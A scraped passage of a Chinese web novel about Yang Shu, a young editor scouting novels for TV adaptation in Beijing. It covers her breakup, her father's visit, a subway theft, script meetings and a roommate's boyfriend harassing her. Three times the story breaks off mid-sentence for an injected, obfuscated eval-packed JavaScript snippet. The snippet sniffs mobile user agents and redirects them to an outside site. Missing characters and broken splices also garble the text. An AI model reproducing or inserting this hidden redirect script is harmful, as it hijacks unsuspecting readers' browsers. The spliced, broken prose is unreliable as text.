杨树道谢,陈樟又抱了她,跟她说对不起,也对不起她爸的期待。杨树说:“没钱就等一等,不要借那么多钱。陈樟我求求你,不要赌,我不想你最后一无所有。” 陈樟说:“别急着跟别人谈恋爱,等我。” “我只等机会,不等人。”杨树摸了摸陈樟的头,是相爱一场的人,事到如今,仍然盼着他安好,她说,“但我希望你能成功。” 陈樟对杨树爸爸挥挥手,上车离去。爸爸走过来,担心地问:“和好了?” 杨树摇头,带爸爸去公司内部参观,再坐地铁去机场附近的酒店入住。爸爸只请了几天假,杨树给他定了次日清晨的航班,逼着他退了火车票。 临行临别,父女俩聊到夜深,爸爸催杨树回她房间睡觉,杨树想到爸爸专程来给她筹备婚礼,却落了空,她眼酸心热:“爸,对不起,我不能结婚了。” 爸爸反而劝女儿,人生最重要的是过得舒心,结不结婚不那么重要,能找到互相喜欢,互相欣赏,互相扶持的人就好好在一起,没碰到,就认真去实现梦想。他说:“你妈要是活着,肯定也这么想。” 说到妈妈,杨树心里更难受。妈妈去世后,亲戚们都建议爸爸再找个女人,还能生个儿子,但爸爸不找,他说家里条件一般,帮不到女儿什么,女儿将来能过得怎样还是未知数,他不找人了,免得多出一个人让女儿养老,给女儿添负担。 妈妈去世那年,杨树中考在即,班里几个同学都选择报考中专,奶奶也让爸爸把杨树送去读个卫校幼师之类的,早点就业,他也轻松了,而且护士和老师好嫁人。爸爸说:“小树读到博士我也供她。” 杨树觉得她爸是世界上最好的爸,她认识丁盼兮那年,丁盼兮才24岁,就被家里催婚催得跳脚,每次都以摔电话告终,但自家爸爸完全不一样。 爸爸看出杨树内疚,说起扶贫工作中遇到的事。绝大多数贫困户都值得伸出援手,但一个村里总有几个二流子,成天斜眉吊眼抽烟打牌。爸爸和同事们不管给他们安排什么工作,投什么项目,让技术员教他们养殖什么,最终都是打水漂,而且还经不起批评,一批评就抬杠:“有本事你们给我发个媳妇,发媳妇保证你说啥就是啥。” 所以爸爸认为不结婚就不结婚,单身比跟这种人结婚强一百倍,不能为了结婚而结婚,掉进深渊里。他让杨树不要心急,缘分是最说不准的,只要身体健□□活顺心,就比什么都强。 来北京这一趟,爸爸看到女儿过得还不错,放心多了,他让杨树珍惜工作,说不定哪天他就能指着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079213|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电视跟人说:“是我女儿选出来的,她单位把它拍成了电视剧,好看吧?” 杨树编辑出版的杂志和图书,都被爸爸珍藏在书柜里。清晨,爸爸过安检,杨树站在不远处看他,不知不觉中,爸爸老了,背影已不如从前挺拔了。爸爸回头朝她挥手,转身去找登机口,杨树等他从视线里消失,往回走,微信声响起,爸爸说:“看紧你的包。” 包里有两摞现金,银行的封条还在,杨树不知道爸爸是何时塞给她这两万块钱,她找个自动柜员机把钱存起来,上了地铁,这种沉重心情还挥不去。 时间还早,到了东直门,地铁上的人才多了起来。杨树给人让座,往旁边挤,忽然发现有人在猥亵一个女孩,那女孩察觉了,脸涨得通红,但不敢反抗,杨树掏出手机录下画面,留作报警证据。 周围也有几个女人发现不对劲,下一站地铁到了,众人齐心协力把那个男人拽出车厢,有个女孩大声喊来地铁工作人员。男人要逃走,被一堆人围上。受害的女孩向工作人员哭诉,男人骂她诬蔑,杨树扬起手机:“我有证据!” 身后上下地铁的人不断,一个男人大力一撞,另一人飞快上前,揪住杨树的头发使劲扯,杨树吃痛挣扎,那人趁机抢走她的手机,跳上地铁跑了。 这一幕让所有人都没反应过来,杨树拔腿向地铁跑去,但地铁的门关闭了,她眼睁睁地看着抢夺者的笑容一闪而过。工作人员让猥亵者和女孩去附近派出所说明情况,猥亵者大吵大闹:“冤枉我是吧,我跟你没完!” 证据被人夺走,女孩慌乱地对工作人员说算了,她还得上班,然后对杨树说了对不起,她还在实习,暂时赔不起她的手机,能不能先欠着,她一定不赖账。 杨树借女孩的手机,打电话挂失手机卡,再报了警。女孩去上班,杨树去派出所做笔录,说明手机被抢经过。 赶到公司打完卡,杨树找主管请假,去最近的移动营业厅补办手机卡,买了最便宜的老人手机。 被盗的iphone是去年见陈樟父母时,他们送的礼物,陈樟帮杨树装各种软件时,说过可以找回来。但杨树对着网上给出的找回攻略,始终不得要领,她犹豫再三,向陈樟求助。 手机里有这一年多的照片,包括爸爸这次来北京拍的,杨树还没来得及转到电脑上保存,陈樟让她别急,他来想办法,过了几分钟,他查到小偷已将手机刷机,他会尽力帮杨树追回。 上午快10点,杨树接到警察电话,小偷刷机卖二手,被人报了警,扭送到派出所了。 杨树见到那个小偷,顿时分外眼红,正是清晨时劈手抢走手机之人。但小偷拒不承认和猥亵者是一伙,他是觑到机会,趁乱打劫。 手机被刷机,里面的内容都没了,因此此人只能作为抢劫处理。杨树领回手机,对报警人道谢,对方名叫秦朗,27岁,长得很清爽,笑起来很阳光,两人互换了联系方式,一起走出派出所。 秦朗在附近一家红外技术公司上班,早上被小偷拦住,向他兜售手机。他假意讨价还价,说去旁边银行自动柜员机取钱,路过公安执勤岗亭,他揪住小偷衣领,大声喊来警察。 杨树看着他脸上几处青紫色,知道是小偷挣扎时留下的,即使这样,秦朗也没撒手,杨树很过意不去:“我该怎么谢你?” 秦朗不在意:“举手之劳,走了。” 杨树坚持说:“我得答谢你。” 秦朗说:“请我撸串怎么样?地点你选,时间我定,我们经常加班,但我保证不会半夜把你喊出来。” 杨树嘴角噙笑,晚一点也没关系,6月份的北京夜晚不太热,她时常见到烧烤店门外,一堆人吃肉喝酒,高声谈笑,这一幕总让她想起故乡的草原,格外感觉北京可亲。 7. 第 7 章 《婚前三十天》前5集剧本几经修改,连同大纲和分集梗概一起交给卫视审核。长夜影视是卫视下属公司,有优先权,一周后,制片人收到反馈,他忙活了几个月的项目没通过。 影视剧是商品,得有购买方,平台不购买,就砸手上了。制片人组织开会,转发来自卫视采销部副主任的审片意见,请众人想想办法整改。 卫视把影视公司递交的样片和剧本统称为片,审片意见长达一页A4纸,杨树细致看完,可以说,这是一份对《婚前三十天》判了死刑的意见。撰写意见的人认为,两对情侣的女方性格都扁平单一,没有自主性,她们在剧里仅有的功能是跟英俊有为的男人谈恋爱。 “既然重心是恋爱,跟婚礼倒计时三十天有什么关系?文不对题,跟创意点不符。三十天从相识到结婚,这叫闪婚,但闪婚概念早已不新鲜。”杨树把这段话看了两遍,第一次开剧本会,听到制片人的调整方向,她就觉得怪怪的,如今才有了答案。 审片意见最后说:“我们近期收到很多恋爱故事,你们不过是在同一部剧里塞了两对霸道总裁×傻白甜,这在市场上不构成竞争力。作为平台方,我们不希望只能让年轻观众反复看到这些,让她们误以为,凭借自己的乖巧顺从,就能得到强大男性的庇护。这种潜移默化对女孩是可怕的。” 审片意见末尾的署名是夏停,她是卫视采销部副主任。制片人认为她人到中年,已经搞不懂年轻人想看什么了。 责编举出去年到今年红的几部剧,观众们自发把恋爱片段单独剪辑出来,制成视频,一帧一帧分析,男主何时动心,吃醋的表情多么可爱,痛苦的样子多么让人怜惜,她抱怨道:“如今的观众就喜欢看恋爱戏,婆婆妈妈剧早过时了。” 丁盼兮是偶像言情剧的忠实观众,周末时一看就是一天,劲头十足。杨树觉得某种程度上,也不能怪制片人把《婚前三十天》弄成了《恋爱到结婚三十天》,市场使然。 夏停只是采销部副主任,但在卫视深耕多年,制片人不便再去找更高职位的人,可就此放弃项目,他不甘心,还想再找其他几家一线卫视和视频网站试试。公司剧本部总监是个30来岁的女人,她说:“夏主任有些意见还是中肯的,我们再改改剧本吧。” 目前,除了成名导演还能把握剧组生杀大权,普通公司大多是制片人中心制。几次剧本会,剧本部总监都没出席,这是杨树第一次见到她。姜妤偷偷说过,总监和这位制片人不和。 审片意见提到两对主角的恋爱过程很老套,责编请示制片人:“是换人,还是让他们再改一稿?” 制片人断然道:“换人,年纪轻轻就不敬业,交出来的全是行活。” 杨树对照着审片意见,重新看了《婚前三十天》前5集剧本,跟姜妤讨论:“我觉得夏主任说得很对,电视上不能全是这种女人吧。” 姜妤说:“最开始那两个编剧写的女主我觉得很不错,强大,清醒,也有柔情的一面。” 包法利夫人说:“你们可别被网上那些呼声给骗了,她们一个个都说要看强大女主,但你真拍出来了,她们也不看。她们的口头禅是,我从不看国产剧,美剧英剧日剧还看不过来呢。” 主管说:“这倒是,我女儿追的都是美剧。” 军嫂说:“偶像剧不就是代入平凡女主,跟男主谈恋爱吗?” 杨树抖了抖前5集剧本,笑道:“我们普通观众都比这两个女主能干多了,真的。” 老板娘的女儿又把大便拉在裤子里了,她和幼儿园老师聊完,凑过来看审片意见,满面笑容地吐出讥讽之语:“你肯定跟夏停有共同语言,她恨不得拿《父母爱情》要求《婚前三十天》,你恨不得拿世界名著要求网文。” 杨树从小连报纸中缝的广告都会去读,她喜欢阅读深深浅浅不同的故事,领略不同的世界,只是眼下她需要通过名著度过精神困境,她看了老板娘一眼,淡淡道:“经典文本探讨的是人类核心问题,多看点没坏处。” 姜妤戴上耳机工作,杨树做不到她那样心能二用,已婚三人组的议论声不时传到她耳朵里。夏停今年43岁,她和丈夫青梅竹马,大学毕业就结了婚,但一直没生养,后来查出她是先天性输卵管堵塞,丈夫和她离了婚,她单身至今,丈夫再婚生的儿子如今上初中了。 军嫂慨叹:“男的不能生,很多女的都会忍了,女的不能生,男的立马就离婚了。” 老板娘说:“怪不得看不了恋爱剧,被老公抛弃了不相信爱情呗。” 主管说:“她也真是想不开,以她的条件,找个离异丧偶带孩子的不就行了,哪能一直单身。” 包法利夫人说:“就是啊,女人还是需要男人滋润的。” 老板娘说:“这还不明白,心高气傲不愿意当后妈呗。别看我只生了女儿,钱赚得也没她多,等到老了,她孤零零一个人,我有女儿伺候着,可比她幸福一百倍。” 之前开完会,回办公室路上,姜妤对杨树聊过夏停。夏停事业有成,为卫视拿下若干叫好叫座的剧集,其中好几部斩获业内大奖,她和前夫早年合开的公司经营有方,公司股份她占了30%,每年都有稳定分红,她自己投资有道,名下有几家公司和铺面,也为她带来可观利润。 就算是这样的女人,仅仅因为不能生育,就被人嘲讽成这样。杨树看看老板娘,她有丈夫有女儿,就能构成对夏停的心理优越感。 市面上男性向的剧,主线是男主角建功立业,胸怀天下,女人只是开胃小菜,但女性向的剧,女主角的天下仿佛是男主角的怀抱,经常以女主角在男主角的引领下成长,以“收获爱情”为终点,夏停指出这不是好现象,杨树在微信上对姜妤说:“我们多找点不一样的小说吧。” 姜妤说:“我也这么想。年纪小的人缺乏分辨能力,看多了霸道总裁容易被洗脑,以为男人骂你羞辱你其实都是在爱你。” 回家后,杨树目睹了姜妤所说的场景。漫画家为童书绘制的试稿插图不功不过,算是中等水平,章嘉敏和他签订了劳务合同。按合同要求,漫画家一个月要提交10幅插图,儿童书籍画面不复杂,这个工期并不严苛,但他拖拖拉拉,半个月都画不出一幅,丁盼兮和他吵了几次架。 每次吵架,漫画家都极尽刻薄之能事,丁盼兮气极也说过分手,不是没人追她,还追得很殷勤。漫画家说:“你也不想想,你都快三十了,家里还一穷二白,爹不疼妈不爱,比你长得漂亮身材好的小姑娘多的是,他们也就想玩玩你,你还真以为他们会娶你不成?” 杨树把丁盼兮拉进自己卧室:“三十又怎么了,你还没三十呢!别听他的!” 丁盼兮说:“他说的是实话,那些追我的人也就是脑子一热,他们是不会娶我,但橘猫爱我,等他状态好起来,我们就结婚。” 杨树急得跳脚:“他到底哪里好?成天窝在家里,长得也不帅,对你还不好,有意思吗?” 丁盼兮苦笑:“他对我好的时候,还是很好的。” 杨树反问:“衣来伸手饭来张口,怎么个好法?” 丁盼兮笑得很悲伤:“你不懂。我以前也交往过长得帅的,上进的,但没一个老实的,跟这个那个暧昧,还说是逢场作戏,骂我想多了。可我家橘猫就宅在家,只属于我一个。” 杨树理解不了:“你也只属于他一个。恋人对彼此忠诚,这是最起码的,不算优点。” 丁盼兮笑着笑着低落下来:“可我知道,他是真心爱我,是会跟我相依为命的。” 杨树说不出话来,转眼就看到这两人和好了,搂搂抱抱,互相啄来啄去,呢呢喃喃说情话。从此她不劝架了,但漫画家不能无休止地拖稿,章嘉敏找过杨树几次:“我等着寄给出版社审稿。” 民营图书公司没有自主印刷发行的资格,必须找出版社购买书号,内容经他们审阅通过,再下达书号,进入印刷发行阶段。章嘉敏催得急,丁盼兮也急了:“你总不能让杨树难做吧?” 漫画家蓬着一头乱发,没精打采:“我不是存心想拖稿,就是情绪抵触,画不出来。” 杨树说:“嫌稿费少?你去打听打听,这稿费很厚道。” 漫画家自嘲道:“不关钱的事,就是没想到,有天会沦落到画儿童画。” 杨树急了:“什么叫沦落?你小时候没看过童话漫画吗?我觉得那些作品称得上伟大。” 漫画家长叹:“我的画是点缀,小孩子根本欣赏不了,翻翻就过去了。” “别瞧不起小孩子好吗?小孩子眼里,美就是美,不像很多大人,只懂得赚钱,把作品当生意做。”杨树说起《婚前三十天》,最开始想向经典作品看齐,很快被市场热潮冲昏头脑,想挣点快钱,被卫视的人看出来了,他们还不服气。 丁盼兮和漫画家都好奇了,找杨树要剧本看,不吵架了。漫画家看不进恋爱故事,很快丢到一旁,被杨树鞭策着画图。丁盼兮一目十行,看了两集剧本说:“男女主每一步发展,连我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杨树睡前会刷刷朋友圈,爸爸回海拉尔后,每天会发出几张照片,重温北京旅游的点点滴滴,杨树点赞评论,有天刷到秦朗发出的动态。他和同事各自举着一只军绿色望远镜,做出瞭望状,另一只手比划开枪的手势,玩得很高兴的样子。 这些天,杨树和秦朗的联系也就是互相点赞,没有私聊。她盯着照片细看,望远镜有两排按钮,镜片前方弯出弧度,像小怪兽的角,她留言说:“这个望远镜长得很特别。” 秦朗回复道:“是红外侦察仪,我们公司自主研发的,我们组刚忙完。” 杨树对红外的了解仅限于看过的商业大片,国际大盗各显神通,艰辛闯关,成功得手,她看不懂,但电影氛围营造得很玄乎,她来了兴致:“特种兵用的吗?” 秦朗索性跟她私聊:“应用还挺广的,边防海事,口岸码头监控,还有搜查救援,都用得上。” 杨树很神往:“这可是高科技,你们行业一定很好玩。” 秦朗说:“你们行业才是大家都感兴趣的。我终于忙完了,出来撸串?” 两人公司隔了六站地铁,相约第二天下班后一起吃饭。杨树在秦朗朋友圈见过他和一个女孩合影,让他带上女朋友,秦朗却说女朋友在老家湖南工作,跟他是异地恋,逢年过节才能见面。 杨树在中间地找了一家口碑好的烧烤店,她喊丁盼兮同去,但丁盼兮说不能丢下漫画家。漫画家能不出门就不出门,杨树便独自去赴约。 尽管只见过一面,杨树和秦朗之间没有生疏感,点好酒菜,她问起他公司开发的草原防火系统,有天她刷朋友圈,看到秦朗发布过公司资讯。 杨树对这些很好奇,秦朗很意外,说了很多很多,一顿饭快吃完了,他意识到了,有点不好意思:“我一直在说工作,你是不是听烦了?” “我是真的很感兴趣。”杨树说起曾经报考公务员,想从事草原治沙工作,秦朗这才确定,她不是礼貌性地聆听而已,遂拿出平板电脑,给杨树看他参与的几款产品图样,说得眉飞色舞的。杨树笑着想,还真是个热爱工作的家伙。 吃饱喝足,两人走路去地铁站,秦朗问起电视剧是怎么拍出来的,杨树给他讲了《婚前三十天》。新任编剧写出新的前5集剧本,再次提交给卫视,夏停认为有亮点,但整体质量仍不足以纳入采购意向。 历经磨折,也只得到这种评价,再往下操作,可能是无用功。夏停是副职,制片人恼得想去找采销部主任,男人之间比较好说话,但被剧本部总监拦下来了。就算采销部主任卖个面子,制片人也注定得罪夏停了,今后合作起来必有麻烦,不值当。 制片人把前5集剧本拿给其他平台,得到的答复大同小异,质量尚可,但也没好到一定要买的地步。跟长夜影视最熟的那家视频网站表示:“你们可以先做着,如果成片质量不错,价格也合适,我们会考虑。” 《婚前三十天》被视为鸡肋,制片人得出结论,怪只怪跟其他平台关系不熟,人脉不够,而且它生不逢时,人人都在追捧IP,它却只是公司的原创点子,所以还得识时务,做IP剧。 8. 第 8 章 《婚前三十天》被放弃了,制片人选了姜妤在几个月前买进的言情小说《天作之合》。小说风格甜蜜欢快,男主角是兔子修炼成人,在人类世界当了个总裁,女主角是总裁的秘书,真身是大灰狼,修炼功夫不到家,经常藏不住狼性。 兔子总裁性格稳定,一般不露馅,但看到狼秘书,还是会出于生物本能很害怕,害怕时会冒出兔耳朵,简直按不住,每每眼疾手快戴上帽子遮掩,把狼秘书赶跑,自己瘫软在地缓半天。 狼秘书不明白自己为什么一见到总裁就蠢蠢欲动,只想吃干抹净,她思索再三,认为自己爱上总裁了,选择主动出击。兔子总裁更慌了,每次都装权威,想把狼秘书赶走,狼秘书迎难而上,誓与公司共进退。 一个是内心怂得要命的纯情总裁,一个是扮无辜的邪恶秘书,还有个狗头军师,一天到晚自作聪明,给兔子总裁提供各种不靠谱的建议。杨树夸《天作之合》是个蹦蹦跳跳的好故事,在头上比划一对兔耳朵,秦朗看得直笑,找她要了小说链接,发给他女朋友看。 姜妤是《天作之合》的发掘人,每次剧本会,她都应邀出席,杨树看好《天作之合》,也跟去旁听。制片人请原著作者担任编剧,她最理解自己作品的优势和卖点,在现有基础上扩编,必会是个讨喜的剧。 《天作之合》小说只有21万字,撑死只能做成十来集,但十来集播几天就完结,热度刚聚起就散了,连广告招商都不利,卫视是不会买的。制片人想做成30多集,力争多卖几家平台。 原著作者吓一跳:“你们要求一集写15000字,30集总共45万字,我得补几十万字,这不逼着我疯狂注水吗,我写不出来。” 制片人安抚说:“一万五是约定俗成,其实一万字多点,就能拍出一集了,加点回忆,加点音乐,弄点慢镜头什么的。” 杨树恍然大悟,她有时看剧,主角住在独栋别墅,他下车,进院门,踏过草坪,走上门廊,进门一系列场面都拍了,她以为是为了给观众多点福利,全方位地欣赏主角身姿英挺,闲庭信步,原来有可能是片方在撑集数。 《天作之合》是言情网站季度榜前十名的作品,读者众多,公司的女人们看了都反映很有趣,原著作者也小有名气,制片人很尊重她。经双方合计,写24集剧本,一集仍按15000字要求,最后成片剪出多少集,就是多少集。 责编说:“铃儿老师也别觉得是注水,兔子总裁那个狗头军师,你给他也安排一条感情线,让他有个女朋友。” 制片人笑着拍桌:“对!男女主找有名的,这对就让我们公司签的演员来演,两全其美。” 原著作者有数了:“行,我加一对副CP。” 制片人问:“什么叫CP?” 姜妤在办公室说过,网文圈很多流传已久的概念,在影视圈这边却是闻所未闻,她经常要向主管普及。原著作者说CP是coupling,指的是人物配对关系,它最早来源于日本耽美圈,制片人又问:“耽美是什么意思?” 原著作者说:“字面上是指耽溺于唯美浪漫的事物,也就是唯美主义,在我们网文圈,主要指两个美少年谈恋爱。” 制片人惊呆了:“两个男的?” 这一年夏天,这间会议室所有人都不曾料到,CP和耽美这两个概念,会在未来席卷整个影视圈,年轻观众们热衷讨论剧集里的CP情感发展脉络,耽美剧则让原本是小演员的主演爆得大名,成为新一轮流量明星。 话题扯远了,制片人绕回《天作之合》,跟原著作者约定了每阶段工期,签订了劳务合同。但原著作者是首次担纲编剧,几天后,她交出剧本大纲,在责编看来不合格。 责编指导之下,原著作者又交出一版,仍不过关。小说和剧本写作存在差异,原著作者一时转换不过来,剧本部总监找了一个男编剧协助原著作者。 男编剧有两部播出作品,都是主笔编剧,但按制片人和原著作者签的合同,男编剧的署名只能排在后面,立刻不干了:“一个写网文的,凭啥排我前面?” 制片人去做原著作者的工作,原著作者也不干:“没我的小说打底,你们能盖空中楼阁吗?” 最后,剧本部总监找了一个女编剧,她有部作品去年在某家卫视播出,编剧署名是第三位,排在她前面的两人是著名编剧。著名编剧开过几次剧本会,对剧本大纲和分集梗概提出意见建议,但没写过一个字。 女编剧接受《天作之合》署名在后,也接受微薄稿费,她目前只有一部署名作品,为了挣资历,《天作之合》是坑也得跳。 一周后,女编剧交出剧本大纲,在各路人马的探讨下,修改了一遍,顺利进入分集梗概阶段。 《天作之合》体量小,制片人严格控制成本和进度,女编剧写完第一集分集梗概,就交由原著作者在其基础上创作剧本,但第一集剧本初稿交稿,从责编到制片人都叹气了。 好的小说作者,未必是好编剧,女编剧不得不做出分场,让原著作者在每一场的梗概上填充台词,完善内容,自己再改出第二稿。这回交出的第一集剧本就较为像样了,但原著作者泄气得很:“我写小说信马由缰,剧本限制太多了。” 杨树依然过着白天挑选小说,晚上看剧的生活。有个周末,丁盼兮公司团建不能回家,她知道杨树和漫画家关系一般,让杨树别为他做饭,他自己会叫外卖。 家里大多数时候都是丁盼兮做三人的饭,丁盼兮不在,杨树吃得简单,姜妤推荐了一种香菇牛肉酱,再加点蚝油,拌进米饭里,吃起来还不错。 杨树正在做紫菜包饭,漫画家起床了。杨树没在意,低头忙着,拿蚝油瓶子时,眼角余光发现漫画家在看她,她一转头,漫画家飞快地错开目光,主动说这几天手顺,已经交了几幅画稿。 杨树吃完回卧室,坐下看剧,无意间低头,发觉T恤领口有点大,能看到锁骨下方的肌肤。她想起漫画家那一刹的不自在,心头一咯噔,难道漫画家在偷看她?但丁盼兮是美人,她不是,连陈樟都嫌她不漂亮,夜夜拥美人入怀的漫画家怎么可能还看别人,杨树认定自己多心了,丁盼兮回家后,她并未提起。 转眼到了7月29日,杨树情绪低落了一整天,三年前,她和陈樟定情,今天本是举办婚礼之日,但许诺过的未来,再也不会有了。 那套房子的家具和摆设,都是两人蚂蚁搬家,从各个家具城、二手市场分批拖回来的。有次把床边柜抬上楼,杨树一脚踏空,从楼梯上跌下,陈樟给她涂药水,绑绷带,夜里,他翻来覆去想这件事,抱着杨树哭了。 是真的爱过吧,那里后来会住着谁?不知道了。入睡前,杨树越发烦闷,去厨房拿瓶冰饮料,想把燥气压下去。冷藏室里,果汁、可乐和啤酒都有,她没来由又心神恍惚起来,在冰箱面前愣怔许久,漫画家从身后出现,把她圈进怀里,呼吸响在她耳畔。 杨树一激灵,重重地踩了漫画家一脚。漫画家伸手去拿可乐,很无辜地问:“怎么了,我拿可乐。” 杨树把他的手臂扒开了,愠怒问:“你刚才在干什么?” 漫画家开启可乐,痛快地喝一大口,语气很平常:“你说我在干什么。我还想问你,大半夜不睡,有心事?” 丁盼兮作息规律,每天晚上10点就睡了,杨树压低声:“关你什么事。”然后拿瓶山楂露回屋,言情剧里,这种场面往往是男主角故意接近女主角,女主角的反应一向是脸红心跳,瞪大眼睛,不知所措。 然而这是一种压迫,甚至是骚扰。杨树睡不着,联想起漫画家几次肆无忌惮看她的眼神,她确定自己没想多,只是得找个恰当的方式跟丁盼兮说。 手机突兀地响起,杨树心一抖,她最害怕听到深夜来电,妈妈弥留的那个晚上,爸爸陪床,打回电话,通知她去医院见妈妈最后一面。 屏幕上是陈樟的名字,杨树松口气,只要不是爸爸,就不会有大事,她接起来,那端传来陈樟的声音,他喝了酒,连声唤她:“小树苗,我想你啊。我想见你,小树苗,你回来吧。” 杨树眼眶一红,听他这么颠三倒四说了几遍后,她按了电话:“我们早就分手了,别再找我。” 伤感漫溢开来,杨树想把陈樟拖进黑名单,最后还是没舍得,两人并未交恶,但往事已逝。她把手机开了静音,吃颗褪黑素睡觉,醒来投入新工作。 整个7月就这样过去了,前助手告知杨树,他代管了两个月的部门后,李伊梦招了新的编室主任,那男人原先在一家企业网站做编辑,是个长得帅的草包。 因为是草包,李伊梦再不待见杨树的嫡系,草包也得哄着他们,不然谁来干活;因为长得帅,八编室主任施严失宠了,他脾气变得暴躁,成天在部门呼三喝四,他手下有两人辞职了。 施严很快约杨树见面,杨树以为他想为陈樟当说客,但施严说陈樟忙着融资,顾不上再琢磨感情。 见面后,施严大发牢骚,张瑞江整天绩效考核KPI,还勒令全体员工在公司10周年庆上表演节目, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079215|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不表演者绩效考核会被评为最差等级。李伊梦和他沆瀣一气,把所有人都弄疯了。 章嘉敏早就跟杨树吐过槽,杨树懒得附和施严,但施严话锋一转,暗示两人不如齐心协力赚点钱。杨树很受主管重用,连施严都有耳闻,只要杨树肯力荐某小说,主管这关就过了,小说影视版权被长夜影视拿下的几率大。事成后,施严拿到作者给的回扣,必给杨树分一半。 杨树似笑非笑:“李伊梦造谣说我吃回扣,我可不想坐实了。” 施严抱怨她太死心眼,多少人都这么干,就她想不开,工作累得要死,也赚不到多少钱。杨树拿他以前的话噎他:“我在这边就是个IP买手,说话没你以为的那么管用。” 杨树没想到,十来天后,施严应聘成功,成为长夜影视剧本部的一员,担任《瓷缘》责任编辑。 《瓷缘》是杨树去年策划出版的,同年11月被长夜影视买下影视版权,进入开发流程大半年仍不顺,责编跳槽去别的影视公司。施严接手项目后,转发了编剧交出的最新版剧本大纲,请杨树也提提意见。 《瓷缘》是家族制瓷的故事,从解放前外婆家族的瓷器作坊,写到改革开放时母亲继承家业,再到电商时代外孙女在网上销售经营,把家族品牌发扬光大,走出国门,扬我国威。 小说女主角是母亲这个人物,以创业为线索,书写大时代之下,小人物的际遇。卫视那边觉得小说写得好,题材也好,他们将会投资这部剧,由长夜影视公司负责承制。 卫视把《瓷缘》列为改革开放40周年献礼剧,要求长夜影视把它做成精品剧,2018年播出。公司大老板的太太柳艳担任这部剧的制片人,按她的工作计划,今年一整年都是编剧的创作期,2016年拍摄,2017年制作完成,送去卫视和广电局审核,2018年播出,时间上很宽裕。 然而这都是理想状态,开发至今,《瓷缘》已经换了三拨编剧。前两拨都是名编剧,交出的前5集剧本节奏快,转场漂亮,但台词稚嫩,还前言不搭后语,可见是分包制,由名编剧搭框架,做结构,徒弟们填内容。 制片人被这么折腾两回,小半年过去了。第三任编剧是主动找上门的,他承诺给制片人写剧本,保质保量,分文不取,只为能署名。制片人求之不得,但一个月后,编剧交出的剧本大纲没法看。 绘画、作曲和打光,都被视为有技术含量,普通人不敢夸口自己也行,但是个人都觉得自己能写,制片人不把写剧本当成有门槛的事,免费干活的人也不把她的时间当回事,让她多给半个月,保证让她满意。 制片人不想再耗下去,《天作之合》那位女编剧介绍了自己以前的两个搭档,他们都参与过几部剧的编剧工作,但没署名,想要一部有署名的作品,绝对会认真对待这次机会。制片人这次慎重了,要求对方试写剧本大纲,编剧们同意了,很积极地交出第一稿。 两个编剧都不到30岁,《瓷缘》写的却是改革开放30多年间发生的事,剧本部总监能看到大纲优点突出,但这部剧得写出大时代的风云变幻,需要编剧对生活有深刻认识,他们在这方面存在不足,没写出厚重感。 剧本部总监找上杨树:“小说作者也能参与进来吗?” 《瓷缘》的小说作者名叫刘书云,今年64岁,退休前是一家晚报的记者。刘书云长年伏案工作,颈椎不好,还得帮女儿带孩子,退休后她完成这部49万字的小说,已是不易,她没接受杨树的邀请,一是没写过剧本,恐怕胜任不了,二是不想把同一个故事再写一遍。 再去找名编剧大编剧,可能也面临之前的情况,这两个编剧阅历不够,但很敬业,制片人决定就用他们,让他们一边写分集梗概,自己一边去找导演。 在长夜影视公司,制片人是一部影视剧的最高管理者,负责运作层面的全盘工作,从看剧本到找投资,组织拍摄,再到卖出去;导演则是制片人聘请的,负责搭建服道化和摄制组等班底,把剧本拍成成品。 按常规操作,剧本出具大纲,分集梗概,前5集剧本之后,制片人才拿着这些去谈导演和演员。但《瓷缘》是卫视高层定下的任务剧,只要保证剧本是正常水平,播出不愁。制片人凭着这一条件,跟几个导演都谈得顺利,很快选定了一位。 导演从业以来,以执导主旋律电视剧为主,他60多岁了,从年龄和经历上都是改革开放的见证者,剧本创作伊始,就由他把关,正好弥补编剧的不足,制片人如同吃了定心丸,立刻召开剧本会。 9. 第 9 章 《瓷缘》是公司重点项目,杨树、姜妤和易无结伴去旁听。制片人柳艳40来岁,一张娇盈盈的妩媚瓜子脸,是美而自知,运用自如的类型,她早年是演员,演过小角色,结婚后她生了两个孩子,等小的上幼儿园,她出来当制片人,《瓷缘》是她第4个项目。 导演姓黎,人很和蔼,制片人年轻时演过黎导拍的电视剧,是老熟人,每每意见不合时,制片人就像个小女孩似的娇喊:“导,我们再想想吧。” 《瓷缘》小说以女主角的女儿“我”的口吻叙事,写作技巧很娴熟,情节密集,冲突多,最难得是既能写世情,也能写奇人。母女塑造各有妙处,尤其是“我”的母亲,性格亮烈果敢,不畏际遇摧残,在商场上腾挪闪移,八面玲珑,很有人格魅力。 施严作为责编,率先发言:“女主在制瓷上严苛不近人情,还几次抢客户,挖匠人,类似这种地方,都得调整吧,性格太狠了,还不安分,观众不喜欢。” 导演和编剧都是内容产出者,好导演会懂得文本的创作理念,在文本基础上进行影像化的二次创作,导演水平高低,通常就体现在二次创作上。黎导说:“不用改,她是女主,身上得有主动性。而且改革开放本身就是有力度的大事件,需要由这种有生命力的人物来承担。” 